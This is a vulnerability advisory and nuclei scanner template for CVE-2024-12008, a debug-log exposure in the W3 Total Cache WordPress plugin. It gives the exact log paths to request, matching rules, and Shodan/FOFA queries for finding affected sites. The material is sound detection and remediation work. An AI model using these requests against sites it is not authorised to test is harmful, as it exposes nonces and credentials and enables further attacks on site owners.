W3 Total Cache < 2.8.2 - Log File Exposure

mediumseverity

5.3CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

The plugin is vulnerable to Information Exposure through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.

Impact

Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.

Fix

Update the W3 Total Cache plugin to version 2.8.2 or later, which restricts access to debug log files. Additionally, disable debug logging in production environments and ensure .htaccess rules block direct access to the cache/log directory.

How to confirm it

Send: GET {{BaseURL}}/wp-content/cache/log/000000/pagecache.log ; GET {{BaseURL}}/wp-content/cache/log/000000/minify.log
Positive when: regex("\\[[A-Za-z]{3}, \\d{2} [A-Za-z]{3} \\d{4} \\d{2}:\\d{2}:\\d{2} [+-]\\d{4}\\]", body) and contains(body, "[/] [-]") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12008 -u <target>

The full check

id: CVE-2024-12008

info:
  name: W3 Total Cache < 2.8.2 - Log File Exposure
  author: ritikchaddha
  severity: medium
  description: |
    The plugin is vulnerable to Information Exposure through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.
  impact: |
    Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
  remediation: |
    Update the W3 Total Cache plugin to version 2.8.2 or later, which restricts access to debug log files. Additionally, disable debug logging in production environments and ensure .htaccess rules block direct access to the cache/log directory.
  reference:
    - https://wpscan.com/vulnerability/1685ca58-1622-433b-b561-304cb9d1bc56/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8292f23c-fb17-4082-9788-f643d1bb097e
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12008
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-12008
    epss-score: 0.02371
    epss-percentile: 0.83967
    cwe-id: CWE-532
  metadata:
    verified: true
    max-request: 3
    vendor: boldgrid
    product: w3-total-cache
    framework: wordpress
    shodan-query: http.component:"WordPress" http.component:"W3 Total Cache"
    fofa-query: app="WordPress-W3-Total-Cache"
  tags: cve,cve2024,wordpress,wp,wp-plugin,w3-total-cache,exposure,logs

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/cache/log/000000/pagecache.log"
      - "{{BaseURL}}/wp-content/cache/log/000000/minify.log"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'regex("\\[[A-Za-z]{3}, \\d{2} [A-Za-z]{3} \\d{4} \\d{2}:\\d{2}:\\d{2} [+-]\\d{4}\\]", body)'
          - 'contains(body, "[/] [-]")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from